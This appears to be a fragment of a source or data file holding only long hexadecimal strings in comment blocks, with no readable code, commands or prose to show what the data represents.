729c8d670d4ff66b29c5c0285e706fe98af863e3bed5bca49142fe0af1cc4372f4cffef9e02a001601f8986e1ac6d2b9b455f3378db84539d936eb1cbb3095487ae50f99ea31711bb4f201ed49f831fce250013bca0eb3634229151bc3f31d9afdb1c123e23b6ccb31187195354616ea1240350c2af3a7ada5a7be875f6c4f457b14392eb7c3a52986c7a28f90a221f5a5cb7b0e80e5619ee3767cde3b8bff9a1bd1e28439d8da1e4583cdc2bceb9f25c03b4919df5d31be2ba6a0df629f5018732cb427141bda32db5e5ee1ea23671147443eb335eef3172e6a5005230b2675fb79f512daf4cf28aa4c45d5b767fa6546288967f125a17d8ff4bbab4c3e947ee67263d04fe145819f2d5151f7f6a953cbffd254647333df8f2f1d1a1359e420715ce5eaf54faac7ed90c40c550782c3efb87f60d1e8fff6f7693840eaf4b2fad010fb699f48812812dc6e2e5633f1fddbdea1e0bacadfca4ea6500acaf67f6a2ffe97f6474514899ce4c0a2335ed1c1186dc98113034c4751bb9c0d981baf9204087c556ab225f551b66ee86728618cf706bc655e31f8735ab1364f94dbc4417b8418e2be03054ca6e6bf49ef65594a0c45dfa45cd179b4adbc0c2c737acb4e8cb9a1751d109beac7eeb83af0d2bd342e73b74e647b*/
/*97c462c41f05db5c9a49a5eb9b8159a6e9f7d416b00cc953cc8c892c67a8dfbbad52f5075b2b227e014fa0a61999db706db7f73222546aa4485c5b37ae05c25727c31b54eeb182480d9ebc3686b36c13a90f2ee4924e6f7700529a35e8d0056603e9a51fcf33b3e955c79ce29683bd8baefdfb1a2075813b87451bd2148d28976fd1c73b4355c1b4eacec179567420ea2c4bd0d4c61cb6c30cfc57a780834d4239e2591643f60eaedf6f5940e10c71cd70e191ce2214f647f0111ab1a2372815685175d3330006c2cd196f11d09e2db204c7a104e59eaacd060785a6005f553ae5a1996a9402ffc66c60f1ef980a11568f0f8be931ce7336d50f3f2f0841191187639a5721ba25dd1a1d345abe935efd37e3a9839e2a6f288aa7d000bba342ceebe6403b441e77ec59ca39f032da1c36d702f6c9b3036f851f331d87bf754ce3400fc79c820610377711ae9d511e448bf787f376348b53fd43cc2d2a7f3f351e5012b6f7250166a191f54f7794908ddf02ae813e36277311c1c97466f51f949d576d10d3729ab9410ab7ced59cc753fd2f716696df0a62e4346e72321e0d9247817dc826ba51a7e54d5d0ab52b6b7c8cd2386e0365902dc41b0aa335237b2c625a8dde4386e5eac2d753c1423509b781c15be02e2993812aa64aa836c4e5c844635b3ebdfaa086e1e211a97675a0a5f546fd5f3b8d5ca6f2f442a7e8808b3a91dac23db237710541a233a4f12b365c736c471130e619a6a586572919a1c2f83420de5e038f3893279eefbd5ba9e4e160c9708ecc9b104dc3e468d54df7e92e5e375c6c80b174704cbfc3472b4f2a36fa5299ab46cdcaf4258cee27997b0d3a34afbf23e15101c3ef09dad12fa161cfd70178d44789f7d74613724a2d1d630bd6d5f5c8a3e7423ac942a8947b0af6e51555a2f3b99d0082ea79969a620dce17739699735534df0b68ca667ff207d901cc54426962860a8953d940a0edaf83d6450df2ca237a53c32735b0beaa79dce168a2b77bf28dfa27e11168bbb364d2af4fed4f2f1bdf0ff03125daa67d759cdf01bddba14e02763fdb9d48ad3a8d16d70ad10fd48a8b7ad3e8027a5e7fb5602621bdb69295ef9fa4c58376f2a31f9d485e91a708ff37dc5f87280f458e19e7b85e8998ebd9dc40d271f3e325104e3a1fc16009dd9a25a68771ff15d107c8b70984c5cdde5f396be0981fcea70800b144fd1a505c709bd1f8d153f90c4a6146c5c7651821e68f839a91d8fce4c6dd447a8816fe5a9811261a23594a45a8edd255ec7ff9632d72cab9dd10ec826645429111ccd938ea551549c9160bb496d81cfca74ea711123b008cf4ecf4cbb66d111770a6644d0ad1d9e226ece04016d1af1adf80b2fb8bbd11f78af78c5c6713b62f088a7feca51cc3b47045af6f8c1b8b2af994e57315c42857b03b62d4e7b04d3b6e6d4cf94cbda547a13ec5bd8ef88522992803cabc48f1f493f8f4561f1c1bd70f37369bd2484cd42f87f0ba7a33ae00f16ba3660263d93d37992e51f72eea371150b453fb7832d5b3d04e48598eb8b89ab13ae9f366d39844da64bd84be66b205415584aedd64cda8d7b2002340ca42dc3ede20b757a5ec3f1d0aad46c8233a0989346bcc0e27576fecb7fa523cb4c5455d750152a37608919e42a053e8912a18d9a0fe755afdc57cb7170179613ec7b9756fdc2c5234243f6a850ab9c46cb7ed0e8f52c82db9567acf6657dd8d126728237a1729ba9ed4235280d8b4adbd5cc378c59f9ac83bef23937fce08f56d8ed38fdfbcb183490d75bf1a8877e829eb39c7b57db83e920fe55e7063f8adb6378cc6afb3c54735a6e3502f4b6300ddf06618e5b8b63638f6ec2d41f6faf04a569225baef5751c1d711f44dfdea30989f8065a88db536920ea7d6a1d478c26eac7f2ed83648234b7c06fa9ed31fec643210200375a16a4150687b1ce829a3aab73a82b9ffdbce5b860c0c27eaf4bbafb4699f3624bd5e0a01c4543e07223a483737fb2b52477b46843cbe75a1832943e9c16fb77b9671ed6f6c899707b6151136170720351da1e5fa8ee4bc4048265bc42b1d2235e9d0c11a9b1db32e0e72b5df130fd9cb94a4b9f9e7b227178a1910561e368e702aaf8ebc39da086cd4045f38c80ebf90cdad88a6eb5f5a3e61f15f8e88db1eb7a12ca8604f32566dab357a8f62266bcf22855df6c33021fe552f67daa5272ba2a0ef3718a16745a40b7d54238143f7dc8989554ebfafb368eab04bf3e9458e9e0aeaed87967d079d286362484c8b60e6f0fc650af81c07506ad671d29379b0c895a0bb61680ec1349ad10ece12883f05a355ed1af98021e4fb9c77ceaaf38b8c0b992c346c8c38543374ba68b1cafd36c64d30566c26cddfbd47e5f04860c02548520f676806d8ac22770ecdf7d6bbc3e1edf0695c9b122124397feead6fbf950ad3487bdc021ce6b2c75803559cace21da8a45c38607382c0983f73ea964a79a5615b2125c8c4b022cd9670a996ba2a5ae59182ff8ca400765518d5f9635c89fbb72c9dea85b669a39c2d629dcf44225912261152183ab2712cd07ed8c75ff606334de83859c74e059cc94dd97b675d930021fb11e0a8cc2312173f38b33a724cb790cfe6551dfd0c3433250dd5514bb91b14f65b795918ee18a39081ad02554795492c337e9f1919ce105b98c625db4469ef84136b751829f1d187a9829093d618f7664bf60840497396780ca85f6d8170b002b590664dad1dbe2dc616d37b0510122cd5f836105111f1e8f24e8457b29e7874b14f7fef21d203f4fa4e3f0af59ca0927f6b3001cc226ce976*/
/*1d5f9e3493fda9380bb8052e0774364c39b28af56c2ea505b7ab90038e44329fc4826acc6795019e8564a0dd210a996e0f66d2aa9f48be67afa58c3a4c6e02b517d69d52130291a7b1a4165aae36b82b4c5374c04976b341a7516c10e90d984f4376e4fc7ca8c471033ea5206588ff38422c8ade530330ce397ac4d5ee529a508107bc21b1224765c4e7fba1a5bdde3b5251eb8d059b5da8b368c5a852311e62564f855552f4be3a3b3be7b8cd79da67b8908407f0e9176812bf26fd4f2ca3b14520e85d35e4c50bc8d4a40deba7b910d1c8f13ef8864ba3485007ea1e2d446427f05a1542bcc7fdd517ba814245e8dbdf96a9a529f3148e58fb6c9328645d111f52ec10f663f5b7e264ceef3b892e18c8dd79cf0ecfe4b7c4a5f7bba0b2d121fe88e5a8c79e36762404437e58ff76799258802cf0ea16c166d5b6a0b66bf780ceaf7d9ce35c595290494344afc1d31f5cb9784d47696be0a2fc7108ad0841c6e0ba97fad3a19137f25d7f6c65caed989a63cae8caeede0129fddecf40bde43ad5746310ba358c4b32e92a03fdd8cb3ce1d38fdb1e841c9b5efe548774207f17339d19c160fa7cb546196de80f482c368de8a5310f58d735b1bf13a2e4a844b64b5b6583c0039d183c6f45da92058e87e96dc0f2f54c6399b246ac4d9518f39bea028a1a140c73edf0413d082174561ec35198976cd129d9d8fab262e0e7238d79e385a950b87780279e533c183e60a7e50ceca6eeee7e185db3df6eabad6913ad6dfdd374f275f7b5085a90183d1f2d607c19cdde55c955298d5dc4f8c82a4200b2a236a7116d966ace4b84bf5676f9597dc405fe9e491d8f37ee1c813096fbda47ac2e1e9c6e5ac9da045cf0c92df210e3e3d51883a20df42f6de4caa711c6388875b7d841b0164196b37f9e11c2c5759973f53b07f37cb0902c21564b410f3f2428dda36c438b0123417c1d3be8c4e88cccf6a0ad9d48403ddaeb4dd574b4b27d0a43b63a0ff8ed86d262938c66dc1f0e47500ad421a8ee88e0a361a4723d925332b8d5e2842e16415207e4cf91d595a129ea97c7fef9335e45c9542e3859de40b73e9c580ee8be0477061e57e6198d52461b2efee4b93b668b3137d105d123920cdd382c83e2e72029cd5910932d0d5859262c202207b86e80af32a3d58199c1f42775ceb1df06ddd30cd170196535e4acf39c15b1c297189c556de1a498ff4eae72b5b2ecf8f0b146e8f8085b9735bf313d2ffdd43cd10a215394614c6b256679f427be170709352e79ae6e0196bacc3362af7529ebc591c0b4c5b3f863fdeaf0e46b0c316b2371d8df3abdad70e33e4a100ef828920d9579625449c4c2bfe33c7c30edef032a63a05bf053810189a2ef4e9da253f0a6c0325202eedcb330616ad9dfbb1fb9bc7688980c51653bfce28b41dbc9b04f94b1c6ab49e5494b2ee414087291d4dbe14cbffb38fa5346c393cd329b3bd94d956845c6287f345f9e4596c5d04157f728d152433b039bbf1bfb94c19c08792d4a78e1e66b529008b115af95b8dfc8dfc7b9d641f29d5b2762f43a8c2c3cebbcc79dc34ae11154499643d75898d195714b97701d121b1ffa8b1e3fc407978d2c92ce0f9d4a0bd10e8e7e29daeb4cb33c409a294bb97f69e7ffc016b1dd133116dd2b99107f42ea1ef66f9f6d248cb6f0c3812a7424d8d1bf3087755c2362d5b0c7c5643c255e0a7067ef4008fab3ab3a2759377d279e7902e58bf40732de12687cd8b0f2c1bb14dbb9d116d0696cd8c966217e1537e6abc9f144b78d927cb4090fcb4313a1ac6d8ba1f9594cfbf6fb21097a2e3e88fb00666fa4e4e2069dec79fe8f70940fa9daa50f6232858235e72410bfe5d81acf512610a00ef319e2d658d1131614a0db549059d03b305c747f076a5541f215cbff48ca7b2c64f0e290b650ef1e72fde0a3ebcf60cf00c31424a619009c45e896394dfa87468d490c2eab28a505cabf0d9595ec55d640e25066ea80c37879006c03addccf04488cbfd10ce99f89118b96267eaa61eda022625996954524ada3032f7917bf25cf0eb37b3c508294130cbc7da692f4236743d9135af4907ed228f0248b4f28fe6176def343e1a2cabd060606940c7704f5188faf7a3e2c2f425a6b8c7540cef39221fe79c93dcb5f673856ab2e63aad9cfd08b0a8e2cf82ecc5733aba4cb82f34aa7c882f67db31f44e6f43dfa2ffedd9b48da7a4e45b9d999319e5de2b649c5e51264452b0157ec5aa7b0e676dc0b582601c48b59572de6f118b9e7924c49c0af73e2b072b4a28037020d30ab240d93553fb5920668607c25875ebc37c9f229bdf39961511ec2dc738595ea53770b31ed84d87eb9bf0ff4f2fd35974e09147d00368b771efee29a6bbdcf5589bdfbcba0fe47762180b3c06f1c8a0cadb4e38c045ed2cd9cba73e0d0b4ae65d7599b159d6ad22c102a3ef353185179169a1ac187fced69f60e7287225de950a894e9cd251a9508309aff25ae15039ac48c35cd516dcebc65ff9fb049c76a7cb93df1fcf44025ed3b8096fd972b37153254fae4dce1f01b0ef5ea13ff774ab127bc83dd4f8d0dacef13c139246d0d10572b59bce2f201d609e2b2210d744c45f3db21cdd9c363c484ea18a6b294bbb8971c55802f5d42c3da4f480bec3afe98f61faf3c306860c8610d8eb174aa26c8da4f813bea62202b7e9468668a2c5057d7c36db6e322f4aece1b749e20f541285b78f6d2d152fada488ed9cf4e30e04e9974ef3d3509bc5ac658a2fda6170423bb4ba294aa8604ee18747e9702d6954b108efe452901d0be8e64b878a5f2d5cbdb*/
/*4fa94ae7229960b5439449f83a4f07ece443f1576edff72494b603f8ed5d7bc8476dc73d5f95b46aca849d599c2618e89414f3a9704b5a20bd58d19090c59e4195d3d8021c60d1eb7635354f8b0f9b5608d4ac0d8effcaeac9c5a0541d84263ea7cd59ad988fd70aef3fa2da60a53d27ba3f2d67d53af8f4165a7ee8741a69634423869599fee2155c6eaa27bc07baf89bbf28957257fce64501482c6ef6ad5b523e8abaf7a72eaf26356e2258b0620a1587978953ba58d0ab7114328ce61e7a4dc19a1d9103c8990a4468cd7c75b3391f5e5d9f4bd0de8435475e0b9614d3393f7c0097deeb4ab5946ffea80e5c7b703af638458098fba5829eb38ca3c518f30cdd513468b1b2841ee1270d138a3135423a340fb7c1091d7a7c70dae1861150dfba16018c1d53a06c7f280f588896237d1cf660693b94768a346cc7398ad2e62699cdc35d4ff6addd55d9ecac2da0b920cbd8bc114c6182d6d3ebcf276a27bf91b94d3d65d8fc0253bafa3781350e7041bcb2cc54d7583c4c6b924f5824d83c5caa0a7c05366afea3563324b16513ad2a8ea1a32ec38319bc26bcd87556cd7fa8edbbc027506fdd05e546ccc614bcbc8e236fd1c17053ff6a6863e6abdd5c0af6ad11623381b13a1024257999652a265110fb00618a9f686708cad74ea6a127042288c63e5223ae66a182c2c7ec1e4f29deaaaa76a729638486d495ffa2164498ca5bbb3d6288a38873c77f9409e54f6086f3b862f73a67861a4cb39842d6a6d60c5920f7eae7deafc4a6afc57e4d33b0887089cb7008e1ad4542018cdf8925408817fca1803fbdfd16c78b69cc7a2fc9f8940afd0d5c4fbdf3a5ff966866bf4e56000b6359be40db4859dc3dc8cb15ad237d2da0f77435fe9122fcd843e9162129a892eff3f33c017cee901f4fce794112f864f82b7dcad803ed951aa781d9a99e33e95e9ac55070901b259fa184d429e4f80028a4cbcad88a0b1b2db3106637237b237ce027d27e0a491a93a0815ac2c7f55d4133ecd95337fb853f611ef44854c729f29429f214a3ddf81e51be26211d27198b4d03fb962c52e2317483231647a30d016f204bb8d32f7c29132b2f49e43b87b4505cd393f1fe3bc29252dea92a5a2b8e6dc4961bc866ecec610ef7cfcebba0854b6a43f11543fff8278b9c28ee430a05327f58a3183e11c27444d7e8f3d4ebf78465ca1542698f9932565027872cb0d6b3e8dec26036b032dda4ec63bc74d2bf7ae0fcbfb23b61659d4ec8a3775c3b1d0e5e2d1b047aeb2bc658d100d29a8382577aaf06649e89615caaf678a521f2c1bacba28da8881c5af7325618b69039e6ab2d042c1963696a262df7c9c02c876aae86e588599a3fade4138843e9c5463b18420684951ccb8fb7e6c2197442e1b216b74bd10bb62d5288734a7fe1792fe06447adb942572b3611672d48e58f4a2efc081fee89022f96e726c78d47210240422902f1169dfc543ef0cc559afef675c2f3b4b8c80d0fd0a23aa86fb317b13af891ed968955dd58928e8b00a15b9fa0f0dda181b20e2a5c254102c32b1d9ecf4fd0561d5653d13662c74a59f9205fdf61733f03d0f814fbdeceb936767e686970e1106a5026c08672c391f8323ffd2b17d29cce6fac006cbeafc68ed84a9368531ff579b236b8c9b84bbcb787346b9cdf349f816e8be651f21e6f1a57f5bacb5334c52237b537ae5fad2e40b783a7b6f33eb855ba13ac9fdb1f0aa3bf8ccac67eea57b0fe5474d1ddd5afc23dbebf9ec3c0717ae394bd10518358426811aa30a76b7d69ac6e979bced599336ff1aa580d9b0ebf21e2e72116a4214f5b9a340cebced81931d6c8596b1528a996e100477b28ce90f5b88a376f47d226a03dac003cb6d53230922be3c2aed46002863e77d033a3794d89546aee730a109769913425d12e3cf7a0f95cd92fe44fcaf23298989979c58cb01ce8b6b73c9d1568267a097da7673b01e348caff73e78ba0c755e95da674e9c9aff9d36f8b21d9eca26fd9645846ea2d9c4103fdf79d1c765a0a5093c61e902847c357d75ceb6c880cd93ec0623e540f1cb8837d2dc971cb7efead9ccf521a5dd8f051a0d1d99d3a693ce34e61f0cdf934c23bfd22e55bd541fa75afc30e40783f1272ab74dffa248e537dd9c739eea70207309518bc542c69df835ee89ea24f93f17fcf674335410016d46e4338adc62ce38fdd954bb400c2f986743a06ef371f50251b3abb144de9b9d510e52a48c6e96695589b638dacb20eed1e8558967f91513b983c2675ae5b826f25c0d5a8885b9a77f7f23dc4da730523503f098b71e224de7125c0f7425d6b006d45e3126b50c325733afb5003214b8e214afcb9a578b898334eea7a7bad3a924929fa255de898af4a6b9770daeb944c3bfdb49cb6f1376518f1f1f3bbfbf151c6d6e0a48914531330696756e580573ea9908c3e9ce88f7829b7feb78db73c5d4000969fe61c8726f9b2bbdf4f26e51dc051ee1e44577b18dadec1bf3c68a75a3b02df965b0f72e2e63337e19f5255dc68ff9f6682e788e5062ed426acfd7effac82a22dca9bbd13bbb38e937dbef7925960f7135aab2b92c0d6041e0e135da5b60fbd95faef85c5340c766b347fbb59a9e209b1b10a1482b4370e3ce909ff52851b45a48667d5e53afebbbd7dee13c606cca1b71e6c332bed41b8cd6dce871e0697d8af6929a2a41a02ddb820250c11b030eaedcd2cd3cd73c5e5694b4b21f42782585a884eae93263a222fc6fbbb192b456b1f07acd6d4fd65207abe63f751b397a506e3d8bd63f58e4aa69e96a1e1830e6a143492625f3f3e*/
/*db2c055487fdcb4effe61439a6247086acd99640ab9a201ae1aa752e1a288e996ad5fdc3a2187c02716bbd51e7973d92bd230d360bea81c88557bd542e1ae7049fed61459cfbc1c4f6036babac34e623774af088d3585888c049b19ba50383763ac4ecb214a29fb911d3df954680fbc79ac24624142ff668e2316c38af7e383d747786ad1312bcc537a552ff44a40c8baa5bc586f136fa3f69b1d16a228047a3a163d9012fadd0e26a3045818ea13cf630bf56465da441cd34210d389252423beff81954e359e17e980b2bd29d2094cf3c9ba2829232231519cbd1d87f19a76bd6b6d21c9aad2e8e59cc891a34aacbb962d130732bfc94ac3294309f138305e92a09077d6f95ffec00957f79f1694c1d529be52a70b52a2b9a1ede52fcf2612b7a804d72e574144101fc643014c4c47296fddc1a82da830d95b813e490eff31c579a811c97efbe940c6a4e3f61e61e7dd44cfd162ff49f5a093729b4e3914deaf666f42c49773548061539bbdbb9c104c7f7c59d6e3652c858ff94884be46d28972001b39480ab3c2b26a4916f5a13b181d9ce64ac7ceececcf03a6b0b21dd41d1041b4f37e0daa2c1db721237dfe470b7f628012c07130296be5ca92805993aad99c320f9ca4d7b2715e0824a6534c65611309976c926de1dfc10f8ef1ba022d42dc057b7dbbdfbe21aab9e6235be1a2890f8e22f5e4d69c1d3c1935e928bb7889202255d577e716991481cbff9e4b007d1fdbd67c8351e1a1724e409db150e031f8de297a8e3d64f21c1874eb0ee28eb1d5c64eea786a3a323e7c880bd63ad63a76124872da08e27b2cd89d14b2bc4bdf8f1dd9950650dec1be3d32b12f35d70c96ebfb7d94d74544b7a423838a5d974761a08d2380e3900a8c3a035c6671cfbbd419d993782994376bfbfc67bb1ea8f093d7e557c9984be286571585fa3787ac16bb4d39950965a973d64c8faf2c7c0a43a786ab29bb572288f62bcca818230ab7d6bc908476bb982c6ab12506e5489e1785b986d827c0c91fddd5ba779ac4e583b0b8e3c33a30aada0da4df729cba6392b957fcb65078421fe1d07f02d4ca912406b5024c4bd7f16f96be016c9d494adfdf3263b3a9cfe6c4755032a25d1430dd6f5086d1af774e2e6ae6e05c5ad0f7ca1bce758fc757c7d33f33beab9ab2a62a494917876bd3be9bc5f34367ff950eb9a69091589d1ca604d0a640bd103a3bced64cb5cc4108632a0f311ae19192f2181bc80193e47ca65e7ff818a224f895e10b49a9807e46b77c6c7661e076c502ea9190df5d7e65f5a23b3c678990508b396761513fddf18230a9d4bc5d3273ee932bfe2ad741b2726105d07c9ded8a14ea75b4912af73f6e74f9126bda6e9016a67bbae64811caecd25e60669df1237a552b9e55b8c8a8464cfb0c64db853258c218f7e92f7eb5d8641aeed499e3621e0b3678e99f0b1d4f2ddc8b1d604c6a74071fb640bec0f40a1a2ba72259dd53bcd603915b4ce58a76402b07395fb8039f91411d2eeadce68e5e6c4a2691f146710ecf27f631bb68e1affdc43b0f4272ae59a6e4fa7f97d141e630dd32eca445d11ef97d1e4e4f939d6006102a3005c39fa7e7a8813e3775ae86ce143836cc2ba9a88d01ea52aaaea268068a06303313297a9c9785a298d1d32bdaf58739928a2491e740b0e65a2b22298d860c86b21a0189de966d640a648b05ecb442088961d2454f902c5bef087025d0bf0e349f104ece86351646706216275b069c7649d939f8499655d68f59740d370a9d4d5926b2faee60e5e7da38b3e42a818d2a7f2e1919b2d6d7c7fc4d908b610dcf0f4f1c351102fe5662bb1195500085b29ae15d18d54df413c6e3b7c2454f114c1cc13ff5d757c995554278de109765b3695ace2e2a3047c9c8f853f19c34321d490f12d68a77a2402a25e31cdb0c6aeb96020a634eb23f8582fd6e97c850213cb41d84c2f89c6d2d70f3259f8641c5bad43a73a0fedfdf2ce5ac914d1ad62ff7212e3ceb55410c5ad5645435fa8845fbb9dea6de6da98f9a2cfd2c473dad2962a75d182ee159a796390796db66690d2f58f8ba2378b0df4ee1ba0c4bb9547decbf9fa73068ea54f9f1d271c583fe1291c251815b95bc9dc55a384755abbfb08a5595ccb22dcbe5025e14f1fa51a348ae2ff7eafc16bc3330e0a270fdb0860fb71a05a0d7ee7a36da1bef045c2c557dcb2aef5115d117aa6c6e4f95b2b0b2f2b33c25f4fc97f25f45339049cfd7e1fb51f26d04d5ff5aa11ecc9ef3865a14d576a7c4a5c9324c0080142a786cb010a43a847f57ef14e3c42512cde63da17bf6759feb81c3977f1e6bff02034ed5381423d9a1b84900c27977f5a560a046b58d15326f42b68aae738386229f034dfbcec23de813d37eb7232b8fe94aed61a0a768ce7eb4921c91623e112163b215a1c77bf767fec953662ac0ebeb1c1695ebeabb472775cf35c8a562a3f39f4f124e7689553e25abedb2e7ee93baac5446cae2a37686ce3b3a72a893c2ef3aefffa3ecb69ddfb8265af04f1248b6b96372ebe5efd21526bc727f975eaa7d7d5915f3c2a413a8cf46e5b8c89f19c2ccfc5c4fc6781231be8560623a96433941bc6ad6eb6889eb8a5d11ec83ec1a0bbc4351214f3c98339d7c342a7379c15aca7b032380fed48a2122b3a19eaf32ef203aaf1c7dc9b76596cfc37c6ff499b48449e94dc31631a35f511165469798cae3a3251c02c1eb1c1e7d8013bf6aad337f85c8cbc20af064849d41e589f05944df7c27b46b71d5d3cb524eea0961aa70b619b1bfdf852255b7cc571542f7e32039a3eb4a6815851a6*/
/*0d8ac38569d371585ddaad6d3928c93dc141f0577dbd4735c2b26197bd6abe420549da03d0b5c1dd086d097864ff9fe811a62c7654fc4cf8ba92946e58ed85b4510be818079bf2a0b544757ca6ffc60107e78feb0f05f55607f59037e9eee02c180184634915d611de7e32511d64a3d7addfe66eaa39170ee1715c60590f746b7a4593d1a8599187e9c15d81f5c40bcc88b19cd5061ea056d909a22aad58b7ac794d9c289c987b74a1c28b312402d7f5d862b5c12edb021a9f97a3fb4a57e0b32cfd53ce2a5b93e351bd797d628bec06172f80f6d3fab5e7f50f9237d5ebfe244f479942e614c47e57d3382d841d3271bee5d11b0116ac6f14319e048451316fa73a541b60a86ba8ed56221a7e8e4d17a590511c88504612e7a31f0457ef37da8aedea4dfb3d9042383b6ed1625e502756f3805b50b429d854ea78c48a547a8316b01125f713faa0ccbdb851783f01baaba7ee7adc6f67dddf4de6db156cba97b255e2bc6bab695c478c2b2f1efc1d4aa1eff9db2b33fd9f91447719915634b47a0530c3a5e5b1780072e0f1c7dfdfb9de3c4496d0506dd611abcf263f9773d90c68328290c647265bf61bf8c0bfca014b9d7c793c31b652856cb462b13d70a44490fc92d551dc3ee565d5fb436a7db2849089b29134f3f1c7db925ab8bfd862af5c742f586a428bc4b294919b87055f5c9be7bec2546e2a51fba9069e1717bb63f9ab96ab88e114414fba98fd2ff943a6610bb2d87aad469020272146e89e39a349e943891b7ed686dc7262b5f05b81a16600deea4c895dd5b6b07d908235aae81be2dcc6b8173d92ccbefad6a0b8240c04b47058319ecebe6e44536ffcb3f0ac9d19df4ac3c4c518fb30b2df2fcad089d1185539bceb00fc88b2faccc210ec9e882b0d15bbba5a8a07c4a8a1613671c51a23ee426a09bb38cc0356ef79c54be704223e2b0dc8ce3ae19b80de295efa7ff7ac2e48af6238b8eda76377fef76506eebecb4a9ecc90aafcbeb4c95e1478ad5d71947bef0109a97354f3421e79afb17c8a18fac790fe32a08d554226fa41a5cfcf3263fe7fe27d4bb2182be1fde5e345efd1b9c096b40f9b7c54d542e5e5965f6d2256ec81e66c183a58f28b7a3883ccd7e87ef8f34d01c9657a98ac511236cce4ef5b11b334be4e4e6b5597e1d5e7b000965daa85298bc13477c8f98a5645541fec790e30b80e4c248044ae2390e0b1d1313249f07d696d88e5f130d1c8a63a41b31c34d27f2983015183b3e7ec7655ce6fb4d28c73e92a3dea8ee458c0c3c8aee5ba6e2f7615461d723a7226354ea335ad422714fe423fd2697e35a0b595b4f772f75e7ef291ea328541765fc09805c8abe6811620f6a4321229024c9e498a17562a7ff5fc5a18a6f7a82eaa72820d19c29cd454f50fb53ef16b63e6e583a8a3585768481fccba2e01d7dfb9bf3c3d211a32b754f9ec5f0f27ea2ed735179ddc3af6eb229ab279ee8057ed4d8e2161db8d4d897e55b508bd9b1fd6450395e3380b379d669778ef1aada248b44f90f323f253ae424e7cfb8893b1b04a11eadd2e1b75ab7d47f798679a239c32a229de4e7a8146386a4becf04a6164ebb51500523ec33fb849dd376038165b6af3d4f8f07021b81bd17a205bb903b918fbfd4bc2489da5ec5191555fbf6e7a9da0301be88173e5a6465b9a6e877e5a8e560d1b2e6d288bd3f9466c5a1c44a9f67dcc9e9a4e554ad8df4c6bb174899f61aec3de0190ca66266be84213934e82325743a26fc972ba66de475eebda9693af668e9117a6c7a383ae50df6ec45999a5bff97e2f50dcb33f3f38c82975694386ae430537b1ccb73a12af1bc3e718d418f2ee351459edc26b8fb5b6a3e70e2992a7d9ee39979f8a8ceb7a9855fad0ede48cb08abc66174a792d015610a5d7a61b5a378cbd4fb40dcc2057775c5569d653344675af619f999a8cf88b35e4578c5118de8e2506acd3ae3f3c97fc9df08cecd6d8f643efb5e1dfa26a87eadca8c5b273aebf331e0c97eec21d38930b994dae73f337a4df85cedfc9d861ce0ba87b198939ef6664d7bd13f9fb8d362f483675461d6469fcb900a8bc76163db7f41b2a1e0c5ff4400e526ff68d86c83c53810dcd77b619ab7b0354a50dfa9ee5b05bfb56a5dbcd411d96c7e1c37cd31939c0dac6bc8f296108b578fc89ca33ed5f1e033fde88d06a080e2e7c6776ab2b36f769430434e39451e1fae2e58c2faf6665ec5a0367eec6bb8cdc2a2c163e6f9d114fc42a49807f7991df1a754f031783c042b561092863f7a2a3da7349c7f3b175002af10f8d2f5f887ea9dc8447104baf0782ad20979cd6898868c8d411dae8becc05797e2c078045623cda0adcc909a80e990cd66e6fab6500ff16e4e5b4a0f6b4a47fed9570566f80f521aa4fbd73da72e3fd8d147bc00660e56bad6a71704eeea8d3f6b857f11201e641148935a0f3b2e13a9e0882c6ef17dfcd4a03de4a3c2c7aec2fa54287fb607b88dd4f89c40a6d0c0fd24e7d431190d8a9c9562471ccad105f3167ca20c04164aa078784517ecb550549b0d9a0ef306046527761dcc4aab6dd72b9c818e2a46acb004bf2459154d05c916efe67ffeec33cc549dc17e2e9db6f73d0c8bf091079faae650729f51516b151916e6eee219e19d4cb4fac884b0c5981b05a339ef8131ddfea1d19f920a41830096b32c5602cbeef2e810ead6625cf3ce60924bacd441df9883397bc2c2de063d470b5d021695ecb9580d5d3842576db037c8bc51f79725d7f72784cc72e5a6f9f44c6f731eab324cf025cfc2c1134c9e2f01d1d2df45c6f9e74837f9bac*/
/*b840e892de03da2a71ea95c860d8a18291aa429e3ed255d62e26144659f5cc4375b5b7861c7b4bb66467f507fb364163b8e98f34b020e453593973523f32b7cdb96c9f702a3be78e023a5a9bad8942d300f2b005ca441f6bbe3b9deb2368051f89993596d57fb9ab9a3ec564ef7b7b260df041abf6eb5bb1c573aa7b7954128ffe242f1d3c907bee671e52cbb3a7cb01b8859fb25c48b904c05a9c2aa3b662d6081b69efe49c247e857a4d65ee86db79c3233af336ba2e020140c7904d17a77211a59253ca4472abbe58bebf6049c146b580a4e0944ae2eda6676fd6b5d013dc937d308e2625b65d20bcf9789bdeb38a4161a276edceff0f74a51bff06bc5610116c2df6e530ac1578275b5ff2bd531d4f065157e9323dc6cef97c50951439a65122a17a4f6dbec4a5bee726bf05485e872c1cd1910f5e88f219a277cb4811dcdf19e41accc895ea7aa7d1d1e65c62053f67bc157bbb0b242e201d81e9824e86080b642853d29ccf2a9f9f90a522ab1a894fe09f5d183bc9cb6f4eec495d63e331cea654443b917260dd07707df229eeadf203f97af47ee197a88b255d904b5168560e44dba66259517d1ca2dc9c2f6aece0722f935cfbd268d7ca1cae3bd8a47c3a952bc6d1f44a9ced140b0628d6f0baf5dc070bc6aa21da9cea9e984d913ff8453c2ede3df8611657a3bcb19bca92d61367e5ab03feb8b184ea1036f51707271990e7734ecfceb94917d7acaed945ff245de2d6d5706698dfc81498e06da48949fec065c8b31a0461586a1cb7d86263dabc91f6525f5ec6b69cfc58d845b1fd6e9d1bafed9b4aef9db3a026e41e0ba158de0726b4467cf9a5d15a4ca9c94a154a233c39a991c09f21cbb0faf46b8b2934e0d9f4f8babd7d7be4c5f2466c888d6407119b21707630bbf554b79a5c90b554153c1159a8dc0b992fda1499bf23ec4a9e1521186739b361a9856f1d10539af606f109b629bd513c993dcab1bd78c2acf9b3374492ececa9eda834e3acf866f006150a1830dd6490e934a52bb286d9bc4737eba3722b1994a3e1d9299c7abf589a37a5cdecd8841b1706ffd9329e738cdedcad50282676ceaa1bcff6baf792c626d89c7999e9adfb7fd88e169ad61600d27cc6c9e16c244d4bbef8426d23590bbb53091c0184c89a388cf6a82ef3de3a54cf55500208c9336ac1dad42f8ad29e653a9fcf3d2da1405255539dbf0dc3540d2206c7cb3d42e508dda30a8efa06c96650c84fe49732e5f464691cce25a3bbbcbaec4e83ab2b17a30fefa192a3150657f999fa7d04586391a300d255409f2f6b19ebf91c371fd604c892d5b3a3cdd40be1e2caa3f9d5562a0c61f3d98ad00546b5b4f604e3564e4c22635fe97e57975b9ec8506ae0d82a00aebc9b9a45a993f131b4a2fad60beec6225089d9fe97c4803050